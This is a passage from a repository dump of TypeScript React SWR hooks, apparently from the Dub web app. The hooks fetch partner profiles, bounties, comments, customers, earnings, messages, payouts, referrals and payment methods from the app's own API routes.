};\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-application-risks.ts",
    "content": "import { FRAUD_RULES } from \"@/lib/api/fraud/constants\";\nimport { ExtendedFraudRuleType, FraudSeverity } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\ntype FraudRisksResponse = {\n  risksDetected: Partial<Record<ExtendedFraudRuleType, boolean>>;\n  riskSeverity: FraudSeverity | null;\n};\n\nexport function usePartnerApplicationRisks({\n  filters,\n  enabled = true,\n}: {\n  filters: { partnerId: string | null | undefined };\n  enabled?: boolean;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { partnerId } = filters;\n\n  const { data, isLoading, error } = useSWR<FraudRisksResponse>(\n    enabled && partnerId && workspaceId\n      ? `/api/partners/${partnerId}/application-risks?workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n  );\n\n  const { risksDetected, riskSeverity } = data || {};\n\n  const triggeredFraudRules = useMemo(() => {\n    if (!risksDetected) return [];\n\n    return FRAUD_RULES.filter((rule) => {\n      return risksDetected[rule.type] === true;\n    });\n  }, [risksDetected]);\n\n  return {\n    risks: risksDetected,\n    triggeredFraudRules,\n    severity: riskSeverity,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-bounty.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { PartnerBountyProps } from \"../types\";\n\nexport default function usePartnerBounty({\n  bountyId,\n  enabled = true,\n}: {\n  bountyId?: string;\n  enabled?: boolean;\n} = {}) {\n  const params = useParams<{ programSlug: string; bountyId: string }>();\n  const programSlug = params?.programSlug;\n  const bountyIdParam = bountyId ?? params?.bountyId;\n\n  const {\n    data: bounty,\n    isLoading,\n    error,\n  } = useSWR<PartnerBountyProps>(\n    enabled &&\n      programSlug &&\n      bountyIdParam &&\n      `/api/partner-profile/programs/${programSlug}/bounties/${bountyIdParam}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    bounty,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-comments-count.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function usePartnerCommentsCount(\n  {\n    partnerId,\n  }: {\n    partnerId: string;\n  },\n  swrOptions: SWRConfiguration = {},\n) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error, mutate } = useSWR<number>(\n    workspaceId\n      ? `/api/partners/${partnerId}/comments/count?${new URLSearchParams({\n          workspaceId,\n        } as Record<string, any>).toString()}`\n      : undefined,\n    fetcher,\n    swrOptions,\n  );\n\n  return {\n    count: data,\n    loading: isLoading,\n    error,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-comments.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { PartnerCommentProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function usePartnerComments(\n  {\n    partnerId,\n  }: {\n    partnerId: string;\n  },\n  swrOptions: SWRConfiguration = {},\n) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error, mutate } = useSWR<\n    (PartnerCommentProps & { delivered?: false })[]\n  >(\n    workspaceId\n      ? `/api/partners/${partnerId}/comments?${new URLSearchParams({\n          workspaceId,\n        } as Record<string, any>).toString()}`\n      : undefined,\n    fetcher,\n    swrOptions,\n  );\n\n  return {\n    comments: data,\n    loading: isLoading,\n    error,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-cross-program-summary.ts",
    "content": "import { partnerCrossProgramSummarySchema } from \"@/lib/zod/schemas/partners\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport useWorkspace from \"./use-workspace\";\n\ntype CrossProgramSummary = z.infer<typeof partnerCrossProgramSummarySchema>;\n\nexport function usePartnerCrossProgramSummary({\n  partnerId,\n  enabled = true,\n}: {\n  partnerId: string | null | undefined;\n  enabled?: boolean;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error } = useSWR<CrossProgramSummary>(\n    enabled && partnerId && workspaceId\n      ? `/api/partners/${partnerId}/cross-program-summary?workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n  );\n\n  return {\n    crossProgramSummary: data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-customer.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { PartnerProfileCustomerProps } from \"../types\";\n\nexport default function usePartnerCustomer({\n  customerId,\n}: {\n  customerId: string;\n}) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n\n  const { data, isLoading } = useSWR<\n    PartnerProfileCustomerProps & { name?: string | null }\n  >(\n    programSlug &&\n      customerId &&\n      `/api/partner-profile/programs/${programSlug}/customers/${customerId}`,\n    fetcher,\n  );\n\n  return {\n    data,\n    isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-customers-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getPartnerCustomersCountQuerySchema } from \"../zod/schemas/partner-profile\";\n\nexport default function usePartnerCustomersCount<T = number>({\n  query,\n  includeParams = [\"country\", \"linkId\", \"search\"],\n  enabled = true,\n}: {\n  query?: z.infer<typeof getPartnerCustomersCountQuerySchema>;\n  includeParams?: string[];\n  enabled?: boolean;\n} = {}) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error } = useSWR<T>(\n    enabled &&\n      `/api/partner-profile/programs/${programSlug}/customers/count${getQueryString(\n        query,\n        {\n          include: includeParams,\n        },\n      )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-customers.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { PartnerProfileCustomerProps } from \"../types\";\n\nexport default function usePartnerCustomers() {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, isLoading, error } = useSWR<\n    (PartnerProfileCustomerProps & { name?: string | null })[]\n  >(\n    programSlug &&\n      `/api/partner-profile/programs/${programSlug}/customers${getQueryString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-earnings-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\n\nexport default function usePartnerEarningsCount<T>(opts?: {\n  groupBy?: string;\n  programId?: string;\n  enabled?: boolean;\n}) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n  const { programSlug } = useParams();\n  const programIdToUse = opts?.programId ?? programSlug;\n\n  const { getQueryString } = useRouterStuff();\n\n  const { data: earningsCount, error } = useSWR(\n    programIdToUse &&\n      partnerId &&\n      opts?.enabled &&\n      `/api/partner-profile/programs/${programIdToUse}/earnings/count${getQueryString(\n        opts,\n        {\n          include: [\n            \"type\",\n            \"linkId\",\n            \"customerId\",\n            \"status\",\n            \"interval\",\n            \"start\",\n            \"end\",\n          ],\n        },\n      )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    earningsCount: earningsCount as T,\n    error,\n    loading: !earningsCount && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-earnings-timeseries.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { DUB_PARTNERS_ANALYTICS_INTERVAL } from \"../analytics/constants\";\nimport { PartnerEarningsTimeseriesFilters } from \"../analytics/types\";\n\nexport function usePartnerEarningsTimeseries(\n  params?: PartnerEarningsTimeseriesFilters & {\n    programId?: string;\n    enabled?: boolean;\n  },\n) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n  const { programSlug } = useParams();\n  const programIdToUse = params?.programId ?? programSlug;\n  const enabled = params?.enabled !== false;\n\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error } = useSWR<any>(\n    enabled &&\n      partnerId &&\n      programIdToUse &&\n      `/api/partner-profile/programs/${programIdToUse}/earnings/timeseries${getQueryString(\n        {\n          ...(params?.groupBy && { groupBy: params.groupBy }),\n          ...(params?.start && params?.end\n            ? {\n                start: params.start.toISOString(),\n                end: params.end.toISOString(),\n              }\n            : {\n                interval: params?.interval ?? DUB_PARTNERS_ANALYTICS_INTERVAL,\n              }),\n          timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n        },\n        { include: [\"type\", \"linkId\", \"customerId\", \"status\", \"payoutId\"] },\n      )}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    error,\n    loading: partnerId && programIdToUse && !data && !error ? true : false,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-group-default-links.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { PartnerGroupDefaultLink } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function usePartnerGroupDefaultLinks() {\n  const { id: workspaceId } = useWorkspace();\n  const { groupSlug } = useParams<{ groupSlug: string }>();\n\n  const { data, error } = useSWR<PartnerGroupDefaultLink[]>(\n    workspaceId && groupSlug\n      ? `/api/groups/${groupSlug}/default-links?workspaceId=${workspaceId}`\n      : undefined,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    defaultLinks: data,\n    loading: !data && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-links.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { PartnerProfileLinkProps } from \"../types\";\n\nexport default function usePartnerLinks(opts?: { programId?: string }) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n  const { programSlug } = useParams();\n  const programIdToUse = opts?.programId ?? programSlug;\n\n  const {\n    data: links,\n    error,\n    isValidating,\n  } = useSWR<PartnerProfileLinkProps[]>(\n    programIdToUse &&\n      partnerId &&\n      `/api/partner-profile/programs/${programIdToUse}/links`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      revalidateOnFocus: false,\n    },\n  );\n\n  return {\n    links,\n    error,\n    loading: !links && !error,\n    isValidating,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-messages-count.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getPlanCapabilities } from \"../plan-capabilities\";\nimport { countMessagesQuerySchema } from \"../zod/schemas/messages\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = countMessagesQuerySchema.partial();\n\nexport function usePartnerMessagesCount({\n  query,\n  enabled = true,\n  swrOpts,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { id: workspaceId, plan, defaultProgramId } = useWorkspace();\n\n  const { data, isLoading, error, mutate } = useSWR<number>(\n    enabled &&\n      workspaceId &&\n      defaultProgramId &&\n      getPlanCapabilities(plan).canMessagePartners &&\n      `/api/messages/count?${new URLSearchParams({\n        workspaceId,\n        ...(query as Record<string, string>),\n      }).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    count: data,\n    isLoading,\n    error,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-messages.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport {\n  PartnerMessagesSchema,\n  getPartnerMessagesQuerySchema,\n} from \"../zod/schemas/messages\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getPartnerMessagesQuerySchema.partial();\n\nexport function usePartnerMessages({\n  query,\n  enabled = true,\n  swrOpts,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error, mutate } = useSWR<\n    z.infer<typeof PartnerMessagesSchema> & { delivered?: false }\n  >(\n    enabled && workspaceId\n      ? `/api/messages?${new URLSearchParams({\n          workspaceId,\n          ...(query as Record<string, string>),\n        }).toString()}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n      // a bit more aggresive since we want messages to be updated in real time\n      refreshInterval: 500,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    partnerMessages: data,\n    isLoading,\n    error,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-network-invites-usage.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function usePartnerNetworkInvitesUsage({\n  enabled,\n  swrOpts,\n}: {\n  enabled?: boolean;\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error } = useSWR<{\n    usage: number;\n    limit: number;\n    remaining: number;\n  }>(\n    workspaceId &&\n      enabled !== false &&\n      `/api/network/partners/invites-usage?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    ...data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-payout-settings.ts",
    "content": "import type { PartnerPayoutMethodSetting } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\n\nexport default function usePartnerPayoutSettings() {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const {\n    data: payoutMethods = [],\n    error,\n    isLoading,\n    mutate,\n  } = useSWR<PartnerPayoutMethodSetting[]>(\n    partnerId ? \"/api/partner-profile/payouts/settings\" : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    payoutMethods,\n    error,\n    isLoading,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-payouts-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\nimport { PayoutsCount } from \"../types\";\n\nexport default function usePartnerPayoutsCount<T = PayoutsCount[]>(\n  query?: Record<string, string>,\n  {\n    includeParams = [\"programId\"],\n  }: {\n    includeParams?: string[];\n  } = {},\n) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n  const { getQueryString } = useRouterStuff();\n\n  const { data: payoutsCount, error } = useSWR<T>(\n    partnerId &&\n      `/api/partner-profile/payouts/count${getQueryString(query, {\n        include: includeParams,\n      })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    payoutsCount,\n    error,\n    loading: !payoutsCount && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-payouts.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\nimport { PartnerPayoutResponse } from \"../types\";\n\nexport default function usePartnerPayouts(opts?: Record<string, string>) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n  const { getQueryString } = useRouterStuff();\n\n  const { data: payouts, error } = useSWR<PartnerPayoutResponse[]>(\n    partnerId\n      ? `/api/partner-profile/payouts${getQueryString(opts, {\n          include: [\n            \"programId\",\n            \"sortBy\",\n            \"sortOrder\",\n            \"status\",\n            \"page\",\n            \"pageSize\",\n          ],\n        })}`\n      : undefined,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    payouts,\n    error,\n    loading: !payouts && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-profile.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\nimport { getPayoutMethodsForCountry } from \"../partners/get-payout-methods-for-country\";\nimport { PartnerBetaFeatures, PartnerProps } from \"../types\";\n\ninterface PartnerProfile extends PartnerProps {\n  featureFlags?: Record<PartnerBetaFeatures, boolean>;\n}\n\nexport default function usePartnerProfile() {\n  const { data: session, status } = useSession();\n  const defaultPartnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const {\n    data: partner,\n    error,\n    isLoading,\n    mutate,\n  } = useSWR<PartnerProfile>(\n    defaultPartnerId && \"/api/partner-profile\",\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  const platformsVerified = partner?.platforms?.length\n    ? Object.fromEntries(\n        partner.platforms.map((p) => [p.type, p.verifiedAt != null]),\n      )\n    : undefined;\n\n  const availablePayoutMethods = getPayoutMethodsForCountry({\n    country: partner?.country,\n  });\n\n  return {\n    partner,\n    platformsVerified,\n    error,\n    loading: status === \"loading\" || isLoading,\n    mutate,\n    availablePayoutMethods,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-program-bounties.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { PartnerBountyProps } from \"../types\";\n\nexport function usePartnerProgramBounties({\n  enabled = true,\n}: {\n  enabled?: boolean;\n} = {}) {\n  const { programSlug } = useParams();\n\n  const {\n    data: bounties,\n    isLoading,\n    error,\n  } = useSWR<PartnerBountyProps[]>(\n    enabled &&\n      programSlug &&\n      `/api/partner-profile/programs/${programSlug}/bounties`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  const bountiesCount = useMemo(() => {\n    if (!bounties) return { active: 0, expired: 0 };\n    return bounties.reduce(\n      (counts, bounty) => {\n        const isExpired = bounty.endsAt && new Date(bounty.endsAt) < new Date();\n        counts[isExpired ? \"expired\" : \"active\"]++;\n        return counts;\n      },\n      { active: 0, expired: 0 },\n    );\n  }, [bounties]);\n\n  return {\n    bounties,\n    bountiesCount,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-referrals-count.ts",
    "content": "import { getPartnerReferralsCountQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\n\nexport default function usePartnerReferralsCount<T = number>({\n  query,\n  ignoreParams,\n  enabled = true,\n}: {\n  query?: Partial<z.infer<typeof getPartnerReferralsCountQuerySchema>>;\n  ignoreParams?: boolean;\n  enabled?: boolean;\n} = {}) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error } = useSWR<T>(\n    enabled &&\n      programSlug &&\n      `/api/partner-profile/programs/${programSlug}/referrals/count${getQueryString(\n        query\n          ? Object.fromEntries(\n              Object.entries(query).filter(\n                ([_, v]) => v !== undefined && v !== null && v !== \"\",\n              ),\n            )\n          : undefined,\n        {\n          include: ignoreParams ? [] : [\"status\", \"search\"],\n        },\n      )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-referrals.ts",
    "content": "import { PartnerProfileReferral } from \"@/lib/zod/schemas/partner-profile\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\n\nexport default function usePartnerReferrals() {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, isLoading, error } = useSWR<PartnerProfileReferral[]>(\n    programSlug &&\n      `/api/partner-profile/programs/${programSlug}/referrals${getQueryString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-rewind.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\nimport { PartnerRewindProps } from \"../types\";\n\nexport default function usePartnerRewind() {\n  const { data: session, status } = useSession();\n  const defaultPartnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const {\n    data: partnerRewind,\n    error,\n    isLoading,\n    mutate,\n  } = useSWR<PartnerRewindProps>(\n    defaultPartnerId && \"/api/partner-profile/rewind\",\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n      shouldRetryOnError: (err) => err.status !== 404,\n    },\n  );\n\n  return {\n    partnerRewind,\n    error,\n    loading: status === \"loading\" || isLoading,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { EnrolledPartnerExtendedProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function usePartner(\n  {\n    partnerId,\n  }: {\n    partnerId: string | null;\n  },\n  swrOptions: SWRConfiguration = {},\n) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error } = useSWR<EnrolledPartnerExtendedProps>(\n    partnerId &&\n      workspaceId &&\n      `/api/partners/${partnerId}?workspaceId=${workspaceId}`,\n    fetcher,\n    swrOptions,\n  );\n\n  return {\n    partner: data,\n    loading: isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partners-count-by-groupids.ts",
    "content": "import { useMemo } from \"react\";\nimport usePartnersCount from \"./use-partners-count\";\n\nexport function usePartnersCountByGroupIds({\n  groupIds,\n}: {\n  groupIds?: string[] | null;\n}) {\n  const { partnersCount: groupCount, loading } = usePartnersCount<\n    | {\n        groupId: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    groupBy: \"groupId\",\n    ignoreParams: true,\n    enabled: !!groupIds,\n  });\n\n  const totalPartners = useMemo(() => {\n    if (!groupIds || groupIds.length === 0) {\n      // if no groups set, return all partners\n      return groupCount?.reduce((acc, curr) => acc + curr._count, 0) ?? 0;\n    }\n\n    return (\n      groupCount?.reduce((acc, curr) => {\n        if (groupIds.includes(curr.groupId)) {\n          return acc + curr._count;\n        }\n        return acc;\n      }, 0) ?? 0\n    );\n  }, [groupCount, groupIds]);\n\n  return { totalPartners, loading };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partners-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { PartnersCount } from \"../types\";\nimport { partnersCountQuerySchema } from \"../zod/schemas/partners\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function usePartnersCount<T>({\n  ignoreParams,\n  enabled,\n  ...params\n}: z.infer<typeof partnersCountQuerySchema> & {\n  ignoreParams?: boolean;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const queryString = ignoreParams\n    ? // @ts-ignore\n      `?${new URLSearchParams({\n        ...params,\n        workspaceId,\n      }).toString()}`\n    : getQueryString(\n        {\n          ...params,\n          workspaceId,\n        },\n        {\n          exclude: [\"partnerId\"],\n        },\n      );\n\n  const { data: partnersCount, error } = useSWR<PartnersCount>(\n    enabled !== false && defaultProgramId\n      ? `/api/partners/count${queryString}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    partnersCount: partnersCount as T,\n    error,\n    loading: enabled !== false && !error && partnersCount === undefined,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partners.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { EnrolledPartnerProps } from \"../types\";\nimport { getPartnersQuerySchemaExtended } from \"../zod/schemas/partners\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getPartnersQuerySchemaExtended.partial();\n\nexport default function usePartners(\n  {\n    query,\n    enabled = true,\n  }: {\n    query?: z.infer<typeof partialQuerySchema>;\n    enabled?: boolean;\n  } = {},\n  swrOptions: SWRConfiguration = {},\n) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error } = useSWR<EnrolledPartnerProps[]>(\n    enabled && workspaceId\n      ? `/api/partners?${new URLSearchParams({\n          workspaceId: workspaceId,\n          ...query,\n        } as Record<string, any>).toString()}`\n      : undefined,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOptions,\n    },\n  );\n\n  return {\n    partners: data,\n    loading: isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-payment-methods.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport Stripe from \"stripe\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\n// Returns the Stripe payment methods for the business\nexport default function usePaymentMethods({\n  enabled = true,\n}: { enabled?: boolean } = {}) {\n  const { slug } = useWorkspace();\n\n  const {\n    data: paymentMethods,\n    isLoading,\n    error,\n  } = useSWR<Stripe.PaymentMethod[]>(\n    enabled && slug && `/api/workspaces/${slug}/billing/payment-methods`,\n    fetcher,\n  );\n\n  return {\n    paymentMethods,\n    error,\n    loading: isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-payout.ts",
    "content": "\"use client\";\n\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { PayoutResponse } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function usePayout() {\n  const { id: workspaceId } = useWorkspace();\n  const { payoutId } = useParams<{ payoutId: string }>();\n\n  const { data: payout, error } = useSWR<PayoutResponse>(\n    workspaceId && payoutId\n      ? `/api/payouts/${payoutId}?workspaceId=${workspaceId}`\n      : undefined,\n    fetcher,\n  );\n\n  return {\n    payout,\n    loading: !payout && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-payouts-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { PayoutsCount } from \"../types\";\nimport { payoutsCountQuerySchema } from \"../zod/schemas/payouts\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function usePayoutsCount<T>({\n  ignoreParams,\n  enabled = true,\n  ...query\n}: z.input<typeof payoutsCountQuerySchema> & {\n  ignoreParams?: boolean;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data: payoutsCount, error } = useSWR<PayoutsCount[]>(\n    workspaceId &&\n      defaultProgramId &&\n      enabled &&\n      `/api/payouts/count${getQueryString(\n        {\n          ...query,\n          workspaceId,\n        },\n        {\n          include: ignoreParams ? [] : [\"status\", \"partnerId\", \"invoiceId\"],\n        },\n      )}`,\n    fetcher,\n  );\n\n  return {\n    payoutsCount: payoutsCount as T,\n    error,\n    loading: payoutsCount === undefined && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-payouts.ts",
